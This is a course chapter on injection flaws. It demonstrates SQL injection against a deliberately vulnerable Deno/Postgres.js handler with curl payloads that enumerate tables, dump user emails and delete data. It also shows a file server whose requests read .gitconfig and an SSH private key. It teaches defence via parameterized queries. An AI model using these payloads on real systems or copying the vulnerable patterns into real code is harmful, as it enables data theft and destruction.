Injection Flaws
Learning objectives
- Knows what injection flaws are and knows how to identify and solve (at least some of) them.
- Knows what insecure direct object references are and what they can lead to.
Injection flaws allow an attacker to inject malicious code to the application. In the case of an injection flaw, the injected code is executed in a context where it should not be executed such as the database or the command prompt of the operating system. Giving the possibility to execute code allows the attacker to e.g. access data without authentication or authorization, to create new processes on the server, and -- in the worst case -- take full control of the server.
Question not found or loading of the question is still in progress.
One family of injection flaws are SQL injection flaws. In practice, SQL injection flaws create an opportunity for the user to execute arbitrary SQL commands on the server. This flaw is typically a product of poorly sanitized input data and not using parameterized queries. As an example, the following application has a flaw, and the user is able to inject SQL commands as a part of the input.
import {
Application,
Router,
} from "https://deno.land/x/oak@v12.6.1/mod.ts";
import { sql } from "./database/database.js";
const app = new Application();
const router = new Router();
const getNames = async ({ response }) => {
response.body = await sql`SELECT * FROM names`;
};
const doFail = async ({ request, response }) => {
const body = request.body();
const params = await body.value;
const name = params.get("name");
// DO NOT DO THIS!
await sql.unsafe("INSERT INTO names (name) VALUES ('" + name + "');");
response.status = 200;
};
router.get("/", getNames);
router.post("/", doFail);
app.use(router.routes());
app.listen({ port: 7777 });
So, where is the flaw -- and if there is one, it must be just a small thing, right? In addition to the comment // DO NOT DO THIS!, the command sql.unsafe
might give something away. The Postgres.js library is relatively transparent in highlighting if we wish to do something silly; there are also less transparent libraries where making (unintentional) mistakes is easier.
The following example demonstrates what a single SQL injection flaw can lead to. We start by using the API as it should be used -- when we POST a name to the database, everything seems to be in order.
curl -X POST -d "name=Hello" http://localhost:7777
curl http://localhost:7777
[{"id":81,"name":"Hello"}]%
Knowing some SQL, with trickery, we test whether we can insert multiple names.
curl -X POST -d "name=Hello2'),('Hello3'),('Hello4?" http://localhost:7777
curl http://localhost:7777
[{"id":81,"name":"Hello"},{"id":82,"name":"Hello2"},{"id":83,"name":"Hello3"},{"id":84,"name":"Hello4?"}]%
Oh, yes we can! The developer of the application should be quite worried now. After some time spent on trying different table names (omitted here), we figure out the name of the database table that the API uses -- in this case it is names
-- and that the table has a column called name
. In addition, the GET request to the API lists the contents of the names
table. Now, the world is ours.
We continue by figuring out all the the database tables. In the following example, using the SQL injection flaw, we read all the table names from the database and insert them into the table names
. This is followed by reading the table names using the API. The --
at the end is the start of a comment, leading to the situation where the SQL code after the injected value is ignored, and no syntax error will occur.
curl -X POST -d "name=I am so sorry.'); INSERT INTO names (name) SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';-- -" http://localhost:7777
curl http://localhost:7777
[{"id":289,"name":"I am so sorry."},{"id":290,"name":"names"},{"id":291,"name":"songs"},{"id":292,"name":"messages"},{"id":293,"name":"news"},{"id":294,"name":"users"}, ..]%
Then, once we have figured out the table names, we look into table columns. In the following example, we read the columns of a table called users
that we just found that existed in the database.
curl -X POST -d "name=I am so sorry.'); INSERT INTO names (name) SELECT column_name FROM information_schema.columns WHERE table_name = 'users';-- -" http://localhost:7777
curl http://localhost:7777
[{"id":301,"name":"I am so sorry."},{"id":302,"name":"id"},{"id":303,"name":"email"},{"id":304,"name":"password"},...]%
Now that we know the column names of the users
table, we can -- for example -- expose and download all the emails in the database.
curl -X POST -d "name=I am so sorry.'); INSERT INTO names (name) SELECT email FROM users;-- -" http://localhost:7777
curl http://localhost:7777
[...,{"id":306,"name":"my@email.net"},{"id":307,"name":"email@email.net"},{"id":308,"name":"mail@mail.net"},{"id":309,"name":"my@mail.net"},{"id":310,"name":"secret@email.net"},...]%
And, well, we could naturally do other not so nice things. We could, for example, delete all the data in the database. In the following example, we delete all the data from the table names
.
curl -X POST -d "name=I am so sorry.'); DELETE FROM names;-- -" http://localhost:7777
curl http://localhost:7777
[]%
As we can see above, the response from the API is empty and the database has been cleared.
So, where did this SQL injection flaw come from? It stemmed from the possibility of inserting code to the SQL query.
// ...
await sql.unsafe("INSERT INTO names (name) VALUES ('" + name + "');");
// ...
As we observed from the example above, if there is even a single such place in an application, the whole data can be compromised. The basic approach that we have taken so far to prevent this is the use of query parameters through Postgres.js, i.e. writing queries as follows.
// ...
await sql`INSERT INTO names (name) VALUES (${name})`;
// ...
This way, Postgres.js preprocesses the query, distinguishing between SQL code and parameters. All parameters are handled as values (not SQL code). Even if we would add SQL code into a parameter, it would be handled as a string and not something that should be executed.
Next, we demonstrate another injection flaw. The flaw is a specific instance of injection flaws called insecure direct object reference, where the user can modify the input to gain unauthorized access to content on the server.
Using Vanilla Deno, we create an application that responds with a file based on the url in the request; kind of like the middleware used for serving static files. In principle, such an application would be meaningful, as it would allow responding with e.g. any HTML documents in the current folder.
The folder structure of our application is as follows.
tree
.
├── app.js
└── index.html
0 directories, 2 files
The contents of the app.js
are as follows, and the index.html
is a simple HTML page.
Note, never ever put something like the following one to a real application.
import { serve } from "https://deno.land/std@0.222.1/http/server.ts";
const handleRequest = async (request) => {
const url = new URL(request.url);
const path = url.pathname.slice(1);
return new Response(await Deno.readTextFile(getPath(path)));
};
serve(handleRequest, { port: 7777 });
The application reads the request url (i.e. the path) and responds with the file given in the path. If there's an error when reading the file, e.g. the file does not exist, the server provides an empty response.
As the url
variable in the request object has a slash /
prefix, the slice
-function is used to remove the first character in the path.
The application serves files within the current folder nicely. For example, retrieving an index.html
-page works, given that the application has been launched from the same folder where the index.html
file resides.
curl http://localhost:7777/index.html
<!DOCTYPE html>
<html>
<head>
<title>Title</title>
</head>
<body>
<h1>Hello world!</h1>
<p>This document will be served by a web server.</p>
</body>
</html>%
In practice, we could also add other files to the folder, which would lead to a situation where our server serves the files whenever they are requested.
So, what's wrong with this application and why did we state that something like this should never be done?
As an answer to the question, let's look at what other things we could try to request. We can, obviously, request any file in the folder of the application, including the code that runs the application.
curl http://localhost:7777/app.js
import { serve } from "https://deno.land/std@0.222.1/http/server.ts";
const handleRequest = async (request) => {
const url = new URL(request.url);
const path = url.pathname.slice(1);
return new Response(await Deno.readTextFile(getPath(path)));
};
serve(handleRequest, { port: 7777 });%
We can, also, try to access files in other directories. In the case of the author of this course material, who uses a linux-based system and whose linux username might be guessable, we could try to to access, say, the git configuration file .gitconfig
.
curl http://localhost:7777//home/username/.gitconfig
(real content from the config file)
Oops. This probably also means that we have access to other files that should not be accessible. Let's take a peek at the ssh configuration files that are used to secure connections between computers.
curl http://localhost:7777//home/username/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: [content]
DEK-Info: [content]
[content]
-----END RSA PRIVATE KEY-----
Well. Oops. Now this could lead to a bunch of problems.. We surely do not wish that anyone has access to our private keys, or, to any other private content.